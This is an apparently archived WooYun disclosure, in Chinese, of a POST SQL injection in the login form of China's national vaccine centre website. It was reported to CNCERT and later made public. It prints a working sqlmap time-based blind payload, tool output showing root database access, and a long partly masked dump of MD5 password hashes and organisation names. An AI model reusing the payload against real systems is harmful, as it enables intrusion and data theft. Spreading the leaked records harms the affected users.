当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0132465

漏洞标题:国家疫苗中心POST型注入漏洞涉及600W数据泄露(DBA权限/包括邮箱/电话/身份证号/公司)

相关厂商:国家疫苗中心

漏洞作者: 路人甲

提交时间:2015-08-07 18:56

修复时间:2015-09-25 14:22

公开时间:2015-09-25 14:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-07: 细节已通知厂商并且等待厂商处理中
2015-08-11: 厂商已经确认,细节仅向厂商公开
2015-08-21: 细节向核心白帽子及相关领域专家公开
2015-08-31: 细节向普通白帽子公开
2015-09-10: 细节向实习白帽子公开
2015-09-25: 细节向公众公开

简要描述:

国家疫苗中心POST型注入漏洞,600W数据泄露(DBA权限,包括邮箱/电话/身份证号/公司)

详细说明:

国家疫苗中心POST型注入漏洞
疫苗是一种重要的平战两用生物制品类药物。历史和现实已经反复证明:疫苗在传染病防治中起着类似于“钢铁长城”般的不可替代的重要作用,为保障我国人民健康、国家安全和经济稳定发展作出了巨大的贡献。由于疫苗主要用于健康人群大规模强制免疫接种的特点,因此严格确保其安全和有效性是国家和社会对疫苗研发、生产和监管者提出的神圣要求。
疫苗生产菌毒种是确保疫苗安全、有效的重要物质基础,疫苗生产菌毒种的质量和遗传稳定性是决定疫苗质量的关键因素。生产菌毒种的质量和各种生物学特性由其基因决定。因此,菌毒种的基因组学信息对疫苗研发、生产和质量控制来说非常重要。
我国是疫苗生产大国,现有34家企业生产48种疫苗,尽管我国采取了各种管理手段和技术手段来加强疫苗生产菌毒种的管理和质量控制,但现有的技术手段及其所获取的结果尚无法满足疫苗研发、生产、质控、监管和免疫接种规划制定者的需要。
通过本项目的研究,全面系统地在国家层面上掌握疫苗生产和候选菌毒种的全基因组学信息,建立我国疫苗生产菌毒种的相应数据库,通过系统的生物信息学分析,筛选和验证基因质控标志物,建立相应的质控方法和质量标准,为进一步加强对疫苗生产菌毒种的质量控制,确保其各种生物学特性的稳定,及时发现其生物学的变异或各种外来污染因子提供技术支撑平台。为保障和不断提高我国疫苗的安全性、有效性和质量,为人民健康和国家安全的保障夯实基础。

QQ20150807-2@2x.png


登录处存在post注入

QQ20150805-3@2x.png


QQ20150807-2@2x.png


dba权限

QQ20150807-1@2x.png


Parameter: STANO (POST)
Type: AND/OR time-based blind
Title: MySQL <= 5.0.11 time-based blind - Parameter replace (heavy queries)
Payload: LOGID=310&PASSWD=admin&STANO=(SELECT (CASE WHEN (4725=4725) THEN (SELECT BENCHMARK(5000000,MD5(0x71736553))) ELSE 4725*(SELECT 4725 FROM mysql.db) END))&PASSWD0=xxxxxx
---
[18:46:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 4.9
web application technology: PHP 4.3.9, Apache 2.0.52
back-end DBMS: MySQL 4
[18:46:26] [INFO] fetching current user
[18:46:26] [INFO] resumed: root@localhost
current user: 'root@localhost'


大量数据

QQ20150807-3@2x.png


mask 区域
*****588df8f4e0c6649a6af1e2415239 | 广东保化检测中心^*****
*****1944110 | ca1397d27806fea801a2126e548f3b34 | <bl*****
*****| ce2e25c925e460a8f2b113e023a0fa24 | 吉林农业大^*****
*****e4a91185447a4845c6be677ac7 | 江西捷众生物化学有*****
*****92759 | dc1e84e592e64f4bac497803d7e11c3d | <blank*****
*****275 | 5acbba8f31ab8dc99f4eac2babe45926 | <blank&gt*****
*****6 | 80cee16addd3236298ce3ef8805a09d6 | 河北医科大^*****
*****| edfa84afe0a73d93df401eafb37a14e8 | 江西省科学^*****
*****84385 | 3cac01a040439001de9c0097ee8a2e8f | <blank&*****
*****62439 | 914431377459a3a74e51e8058208fada | <blank&*****
*****764 | a90613221ab7f4ceb153725632470f7b | <blank&gt*****
*****368 | 950d750d005ad7983b006cb5fdb49b2b | <blank&gt*****
*****314313360 | b16580fcce006aeb94ee085878d1e041 | <*****
*****77776 | ca11f7109738c07d707fa6b020e4e9e6 | <blank&*****
*****12632 | c35f25e109e1192030744fd165013879 | <blank&*****
*****1 | f164e12571d6489b9cef5e48b6df7141 | 新疆理化^*****
*****918 | 5c7b56f4e512a1d64bb92f52a94a7c39 | <blank&gt*****
*****ef1df7da79b95bf3b26e8a9142a34d | 江西省食品药品^*****
*****11350 | fa1efb11bb2870af8292ea23c4cd58fe | <blank&*****
*****474 | 6e257ccb71ae455f13b09dd09821441c | <blank&gt*****
*****31698 | fe07a1152f1bf99b343a96169c963047 | <blank&*****
*****107 | 005fdf9087be928cc12bc38b60bce2d8 | <blank&gt*****
*****620 | 978506615932aa802980490392fa237a | <blank&gt*****
*****946d4f251da74866a6499ea5 | 无锡博慧斯生物医药科^*****
*****55978 | fcf1268d85279a60c966891265c770b8 | <blank&*****
*****16135 | 54b1df7f5324a40f19bcf50fa796159f | <blank&*****
*****db121bb57fecc21301da6a6c629fc2 | 深圳职业技术学*****
*****08692 | 9a68afef5d5582b26833c7d5540dd3d7 | <blank&*****
*****107 | 55490f33c45e8ea702ebf0e7b2981813 | <blank&gt*****
*****561 | abe00dacf5ca2750c630c9e16a640e12 | <blank&gt*****
*****864 | 3818f4322256fd495e54b67625fd6194 | <blank&gt*****
*****671 | 462007ef296bd0d3c7a6da16b2866d46 | <blank&gt*****
*****22252 | 90c1e3ed80a5418de2bb2f2e4da29461 | 兰州市 *****
*****27278 | 0a85197bdc4c37095470ff415f7f3eb7 | <blank&*****
*****3565395 | 6e3559b82917102793db276f31ded0c7 | <bl*****
*****32182e4065d65261e43a719d3ecb5fde | 复旦大学药学^*****
*****a528b6e069e9e0c04c9824 | 中国农业科学院北京畜牧*****
*****11622 | 895dc00d747ccadb2c3f1c7fc7239051 | <blank&*****
*****77802 | 6119efd4ea799428df35fd929b69f397 | <blank&*****
*****93585 | ff7bb8b61c79ed8f3e35403698dcfccd | <blank&*****
*****05731 | e0dd1350b4d59c834739cafac7b17065 | 南京市C*****
*****6 | bc720484f8cc5ba293fe9b662f8d9e05 | 复旦大学 *****
*****51c601e61e86c853b153cb2a0a | 吉林省鑫迪微生物技术*****
*****371 | da690f45ca7cb799a2acc2832ac7f28e | <blank&gt*****
*****23320 | acc898e997146d9739f60f514b611015 | <blank&*****
*****295 | 38157c6b97efc1091ff334f06a6ce7c2 | <blank&g*****
*****0900795 | 1216048bcf8e59a2e0b10f96de699b4a | <bl*****
*****b171dffd66e9aaf63cf43e5880774d | 深圳市疾病预防控*****
*****54100 | 6ccf1134d667e5a21b518404f2ca8214 | <blank&*****
*****44316 | edf726830abd85468814b42454438e79 | <blank&*****
*****72070 | b88d59c31acf5368a67524ff170f4604 | <blank&*****
*****37126 | eab33e030c219791490150d89f36cbb1 | <blank&*****
*****2 | fb0c0d29891025ebc856afcb05a80a36 | <blank>*****
*****71486 | afdfc28d9e900d14c98ee9bfc30331f9 | <blank&*****
*****ac9e62abcc4c3f365866c6833d02 | 中国科学院微生物*****
*****f0c476afde61d03be83396d1f4a3 | 上海锦葵医疗器械^*****
*****27126 | e773348f0da5c0940089030a68dd76d5 | <blank&*****
*****75913 | 7fe087fa7929c2a3b680c8dccff31d41 | <blank&*****
*****99902 | d8793b58bb18db15d184d442f77bc385 | <blank&*****
*****a2529b86297e7c764b8ae5b944d0f7 | 石河子大学食品*****
*****12132 | aa82b42642f89ab5a7d7aa19dbb767a3 | <blank&*****
*****34e697311a97174fe23713f1d5 | 北京顺达四海生物药^*****
*****866 | 12e6a74a332e528312c8d0fd1b2602fe | 阿盟药检^*****
*****178 | 49ed3db4aa75dc6fad7074870f70b880 | <blank&gt*****
*****3731728 | 80f583aeafdf1982e02a9960e8286f7f | <bl*****
*****92499 | c329e7d76cfef190065d1dbc53c37a47 | <blank&*****
*****8ee840e764323699f222cc6dd6 | 长沙隆和化玻实验用^*****
*****60369 | a9b969f0eb9545a1d54e9affde6d0f89 | <blank&*****
*****5 | 777ac03c9e18e2e8c992b62e1ae42052 | 云南中医学*****
*****98377 | 7892f070856ee0f3adaeaf241cbcb09d | <blank&*****
*****248565653 | 545b90243a67052adefe2a197617e3bc | <*****
*****06032 | d6410558ca0b9672dd51f07682840846 | <blank&*****
*****288607090 | f87e31bea6040672db07e32141f930ce | <*****
*****757 | ba6b799e17053115b513d68950c95bf7 | <blank&gt*****
*****892 | 13bd276bc0085965d56cb849d88f495c | <blank&gt*****
*****480 | c8c1b4540acd08ba7efb9acce90ab8c0 | <blank&gt*****
*****69426 | 5197fc32a3ab529efea6b3dc248cac02 | <blank&*****
*****635 | 14d24431440484e3d7e8260fba69eef6 | <blank&gt*****
*****83790 | a31b0c0bd4eed954828e47f43ce43e79 | <blank&*****
*****737 | b8331dfef032ddc4a3420ef36421fb7f | <blank&gt*****
*****096 | d5566629cacf2ef650b37395f608eac5 | <blank&gt*****
*****818401323 | 2e3162a107ada607cac65244706a879b | <*****
*****58768 | 51cba456f77237dc97cc422eab5f1e1b | <blank&*****
*****88501 | 5fb9c7e1501b4eabdd58c9a073ccfa6e | <blank*****
*****5581550 | aa6372046f507a765a5c6feca4105e08 | <bl*****
*****37950 | 04e2962bce1cc94cd5eb5718d43aa744 | 东联 *****
*****29418 | 182fce15b05574a348e6c5b1630b87cf | <blank&*****
*****696 | 63ac9a4727f42ea7a64ecb7d23db1d74 | <blank&gt*****
*****| 867ea14ce1291ccdf464d130abb31d2e | 武汉大学 *****
*****| ef233adfc915bd0f20154d2ee777155f | 上海汉尼生物技^*****
*****0547119 | a3096f3d1f15a38553d1c6ecad9ce49c | <bla*****
*****036 | ae1540a985299101763828f5ea47c120 | <blank&gt*****
*****763a103b45211756a667fb935735a3 | 天津一方科技有^*****
*****e7b35f35f67637929db19a5e445535 | 广州金域医学检^*****
*****14711 | 4a901ff31f14cb87801268685f544318 | <blank&*****
*****25c3db8599825443a4188d566e36c2 | 潍坊中狮制药有^*****
*****eb62a3771eb98e35f26f6ce72ec4b9 | 河南惠尔纳米科技*****
*****; | a70d6d0e00db4772bb95e6a8126f6f9c | <blank>*****
*****| 7c4a4a4a1608d923b12421e4ed106ec1 | 中国农业大^*****
*****f2332e1d538ff3a8cf5d01b9109e | 上海市松江食品样^*****
*****358bafbf21c2d2103029f48b98 | 四川迈克生物科技股^*****
*****37065 | d1a6925860863281047f8a3e6adb1031 | <blank&*****
*****87021 | 3c9401b6f14b54bd81976b0e3f503266 | 中国CDC *****
*****7e1235fc9d9b329ed3609096c8 | 广州迪澳生物科技有*****
*****458 | 209f792b884d5f9c5740ec04360c5614 | <blank&g*****
*****| 062bb43dc5092ff882278572c0db1b67 | 久啦食品有限^*****
*****58068 | f40e92f85c52278ae60ae5c82002efb9 | <blank&*****
*****6880f7ddee063dffaabc635ec89390 | 南京农业大学食品^*****
*****86039 | 71e755b7c22736dd70f4369b09ca3970 | <blank&*****
*****511 | b86a400314cc18e051fe3c7681d4078f | <blank&gt*****
*****278 | 090104deb817c56643d3486e568b7131 | <blank&gt*****
*****aa5dc783610ab70bbe94e5bb27b5 | 宁波倍的福药业有^*****
*****5 | 219f83919e765781497246943cc049ba | 武汉大学 *****
*****464 | b7bbb9bc1d4e251f4add0c70630e827f | <blank&gt*****
*****677 | 99ec7179f0df67cd7a6759766dd54b4c | <blank&gt*****
*****b1382bc8b539097ef5cb1aeedeb6fcd5 | 吉林师范大学*****
*****891 | aae0b414d5bc2300c10b1fbbc69a1615 | 学生 *****
*****52468 | 7dcee2fcb7d9f0f05c74f16d0d247270 | <blank&*****
*****88014 | 1d968c7d63f072e59ca94cd2b593251f | <blank*****
*****62302 | e7ddf8d14b881fcc4f5ad72b16cce8fc | <blank&*****
*****| 498810a401733b5609798e2cb17012fe | 中科院微生物*****
*****26559 | 08e6e99d8098479c4ffae0d17cda49a5 | <blank&*****
*****1909786 | de3b8cfcf625dc40464a9b33dd6e386d | 北京^*****
*****| 08d7cc306fd842ec0b54a3c2e3a99609 | 首都医科大^*****
*****9f3a12d87d33b9cfdb699ae037 | 大连华钰生物科技有*****
*****2584694 | e93b7c340c7e292068df036987b01c75 | <bl*****
*****59482 | 27f2af5ae5a5179eddd7217d2c6cb26d | <blank&*****
*****54c9186bfac520ca50a07008673d3b | 南昌绿恒科技有^*****
*****eee9c15cc4f92020baee99c85b1401 | 上海天呈科技有^*****
*****| 2980ccc8946b90be8348fb655b8e959c | 中国农业大学*****
*****56088 | d263c30f6e8f06c99cc291a472319353 | <blank&*****
*****7555a6a2c9b2e5351ea9266cc7 | 吉林亚泰生物药业股^*****
*****d2556ffd191e3681e122ab15a1 | 连云港亚宝科技发展^*****
*****8d938f6bbb0f342810b2eeb0f6 | 北京中兴嘉仁生物技^*****
*****5 | cf584a9734387d38032becc42e592204 | <blank>*****
*****377 | bf4cba51c1cd2fe632121ccd066d3b89 | <blank&gt*****
*****a6e4d2ebeb5804aad602335662388d21 | 军事兽医研究*****
*****f815606f5282cab8676fc5627920c834 | 烟台毓璜顶医*****
*****165 | 6b4eb577c0dc150e0a563930a8cfd654 | <blank&gt*****
*****062 | 1e5b0dc28c9e7271170be142174ce827 | <blank&gt*****
*****010 | dcc48e3f9e10d729927230e184ebb382 | <blank&gt*****
*****461 | 89be248a439a2ad7ab3f8c04aab6551f | <blank&gt*****
*****83852 | 227da0a95ea0ac9302bb911164d8546e | <blank*****
*****93013 | e88bf5a5f0e66ec10dfed90bffc9702e | <blank&*****
*****7fd2907b7f638e99d41830bbe1ca46 | 宁波健世生物科技*****
*****96473a2a8242b9d60339c935 | 上海交通大学医学院附*****
*****44b44bb81aa935f7c4d75d5d1c8cf409 | 北京博奥森生^*****
*****636 | 5dcee73e331b5172b661b8c84f56f33d | <blank&gt*****
*****33757 | 0f44af09630d2ce609ed6ac7caa5a6e3 | <blank&*****
*****588057740 | f32cbb51f05da80a61b165d1a6dbd22d | <*****
*****559 | 64db18c2e8e446a014dd7fb72756200d | <blank&gt*****
*****b689a9a63a1b651acde79c1d45d28afd | 北京陆桥技术有^*****
*****383 | ede1367e4ee2a421a0adeb053e4faba9 | <blank&gt*****
*****252 | eeb0ab05dccd81e76cb9aac7bf154963 | 武汉大学*****
*****874 | ed57114fe70170df4ad2df0ceda67f39 | <blank&gt*****
*****f847d3cf496be6bd4fb345be2c | 深圳市意达凯生物科^*****
*****283 | 64a74c8884493430558f022599fc8376 | <blank&gt*****
*****714 | 9d74bc23a552e2e2e323e51e2d269e06 | <blank&gt*****
*****18185 | 6aa844a5aa3a58292dbc0cd0e0d9f2cc | <blank&*****
*****ea2630b48d8ecf0157b83b7d71bb | 新昌县恒丰胶囊有^*****
*****45461 | c2b9042a391c858611e35e27d28e8373 | <blank&g*****
*****50824 | 9bf937361bffd5b953faca9ca3311c2b | <blank&*****
*****40760 | 343a5591add95465081d68d7d01b0c02 | <blank&*****
*****61e176cf07b1d3930a25425e570a | 江苏康缘药业股份有*****
*****47682 | f14b0e98b835ceb5d943a3f9994a5349 | <blank&*****
*****920 | e40c5a311ac9ca3c2a2637570d765643 | <blank&gt*****
*****094ce807d32d86fcee4293 | 长春博创生物技术开发有*****
*****bddaa4ca3e5522373d98256a9d0c02 | 兰州大学 *****
*****| 47e330b6ddf0cfd5058cfa5d19e29684 | 河南牧翔药^*****
*****35637 | 04ab4321b88e30f06ffb51e3d584e71c | <blank&*****
*****60720 | 7db63ecf5c6d3eeb7d0b7d5e52031713 | <blank*****
*****576ef3c2c526b114cd19 | 首医附属北京友谊医院,北*****
*****| bf388c1b456c475cff7d44cd22b9a22d | <blank> *****
*****79164 | 2376719728b3849b91ccf7153c936e45 | <blank&*****
*****b31232f7587923d80bc5414a | 山西双鹤药业有限公司^*****
*****2 | dea2231180ade031aa78bdd540bf55b0 | 四川锦江电^*****
*****7 | 07ceb1bbdd5108f9f439874081760e6c | <blank> *****
*****9981887990cb807f394ebc7191 | 北京中物信化化工技^*****
*****785 | 227541ee31975dfa7e78ffc1135e93a5 | <blank&gt*****
*****715 | effc97a4eca4f37bf70c4caf801d279a | <blank&gt*****
*****719664288 | 9e28b41f0267a10b2688ed1ce391622e | <*****
*****38aae5d5388bfcfdff772a1d2bc449 | 云南省楚雄州中^*****
*****ank> | 8e829779b0858348be559e8cc60eb99c | Dtt *****
*****9 | fe22cd735303f4311748ca5ba2475f23 | 鑫科贤公司*****
*****28797 | 004cae53d4cbeeb85fb1e71d7d9a9ff7 | <blank&*****
*****6 | 9a1dab748e53374192353d810f27971c | <blank>*****
*****ef2c05dd9731f1376a07aa213d1da6 | 湖北中检好普检测*****
*****| 1a9b1ce114c9253cc7abd372897fb173 | 中国药科大^*****
*****| 9284de86b9b7a65ad51864fd8fff524f | 中国疾控中^*****
*****| 3428ec8a0945c3abd3d09b29f4644491 | 贵阳中医学^*****
*****01258 | 87fc84dc7ca804223e39240f44057011 | <blank&*****
*****48516 | ff78acd119904a1b2d89b2becde939f3 | <blank&*****
*****081 | fde02fce4e28788344abf0332e8166bc | <blank>*****
*****ea34b9f4e2aaa2711a35e7a3a228 | 南京亚东启天药业^*****
*****78091 | 10ef9b0a263c094a59226656e19cb36d | <blank&*****
*****| e9126e40ee48eb30dd0118d93931c65c | 中国药科大学 *****
*****6a9a6ec7df17bd81ebdf8b52b23f07e7 | 重庆医科大学*****
*****f95e8e9220ddb4ea884d8cc2 | 广西长兴环境工程技术^*****
*****0 | ba6209e829f4f66e8686e687c7dbc14d | <blank> *****
*****c4fe7c262e09b535474e2d49f3 | 昆明医科大学第一附*****
*****198 | 8220180a4db54b1115815ab5159fdca4 | 安徽农^*****
*****737 | 8eae46ea0ca5bb8415d5a1be3b72d5ce | <blank&gt*****
*****70eaa43b5dc76608def08acc | 上海诚云建设工程质量^*****
*****6779518 | 18e403d5fb5c472b1d921826fb1f9715 | <bla*****
*****943 | 2c53905e4a731a201b9345a1f07babce | 上海理^*****
*****517 | 9c48c0c0124106ed390ea0599487f202 | <blank&gt*****
*****6685a5f30936b3b4a1e2c023f9 | 厦门网箭科技有限公*****
*****23890 | 56252097b5cb3131bbf9dc893bda7c73 | <blank&*****
*****987 | a304c7719ee25f7ffd656f94d0d61f41 | <blank&gt*****
*****63005d854f47c7cc70c9760a | 太原市食品药品检验所 *****
*****2 | 3040d5090d52ee3350f5719946b5d481 | 华中科技大*****
*****19598 | ff4a6e86d0f4178bc6bbd6e923db1e34 | <blank&*****
*****538 | 92fe6d6e9a3afcff5545a7286033e892 | <blank&gt*****
*****ff67c5856fb81853f0ec519d63be1a | 上海抚生实业有^*****
*****6 | 1cdb60d55dc8545c502201f0b8ad1006 | 渤海大学 *****
*****1879946 | 7bfb91cbedd26bedd6500a967e74ff55 | <b*****
*****6 | 0f091ad9f32f96be47984de1872c54d7 | <blank>*****
*****2212805 | 503b7cb023337495637634e678ff8078 | <bl*****
*****25100 | e65ca6fff4a5f6890f430a493722fe64 | <blank&*****
*****8 | 7fc51b610a97ee793126c49737c3c6d3 | <blank> *****
*****8f36b882b0a2eeea033de4f99114d0cc | <blank> *****
*****20741 | fb05c90ce67ef24ad1ef01f66586b535 | <blank&*****
*****7 | 8bbae1a06533b2350a325eea93c150f0 | <blank> *****
*****| 8008c9ae36a1106e0b79b5b318be5cba | 中国农业大^*****
*****76bb3d713af1df51d2f9b3f2 | 广西长兴环境工程技术^*****
*****| 254748c9bc701d73fe127fd24f55f548 | <blank> *****
*****0 | d249b72e82475562b3cc8725cbb875e8 | <blank> *****
*****4 | a9bf525d29e63a563803c0b0101af2cc | <blank> *****
*****5 | 8f9215ade9f937f29dffa0d14096826e | <blank>*****
*****bf40bbcb003ab0ea771bf5043fafd433 | 中国疾病预防控^*****
*****2dfa7d440c494817d61c735dae | 天津康希诺生物技术^*****
*****8 | 3dfccaf5d6fcb16672113037eb05be72 | <blank> *****
*****3 | 3de2f10dfac2efe42a9e6d9f0a3f3aaf | <blank> *****
*****| 01451b6328415a85dc52e11a66617207 | 新疆大学 *****
*****| ec1d9d3ca42cda447e84293414016836 | 中国食品药品检*****
*****00811 | 7540e7d10b9b8d2c4a56b43c0a63c882 | <blank&*****
*****339 | a57c267395f76c554dc1c0d9218f9dff | AMMS *****
*****1fb7fbffd4be1511e8ae00840e65d2d9 | 西北农林科技^*****
*****36eaea4e75b954f6c33d500c6f | 陕西师范大学化学化*****
*****1035558 | c1701db41cda597023db591e848e6be6 | 四川^*****
*****c90f0ac0baf142f0a19367e429133a | 武汉摩尔生物科技^*****
*****6 | 82dbe8f18b3156faa460aaff2846f14b | <blank>*****
*****96183 | da65b1ea0651cd4615c2dc79bef9a91b | <blank&*****
*****50765 | f06fc9e9cf818a5e488c9216bd026cc4 | <blank&*****
*****86122 | a67c5005fc6dadb2e9853a8d2570e50c | <blank&*****
*****25139 | 2483d47f9ea245886f31d3bc9bf9eae6 | <blank&*****
*****62322 | 31285a44ba5996179a89205da806290f | <blank&*****
*****8a7adf9515a457bb356a4c4956 | 浙江卫信生物药业有*****
*****6d300fd1a458d58db1982d3b | 贝尔特(烟台)海洋生^*****
***** | db87e4cd7e6fe2db70dfd53ad6d08fff | 滨州医学^*****
*****a0f9b14a2ca5224f523ac98348483d | 河南中医学院一^*****
*****| ff8afa7ee7ea512338f9a387c7dd162d | 北京益德益华^*****
*****27405 | 3504604e81a02e06b1c73fc8072051d2 | <blank&*****
*****99462 | 2b85ff6e221e9f644ed5dea93c5b4bad | <blank&*****
*****20059 | e9a5c6d5207e12e0707ba541c51d6889 | <blank&*****

漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-08-11 14:21

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向国家上级信息安全协调机构上报,由其后续协调网站管理单位处置.

最新状态:

暂无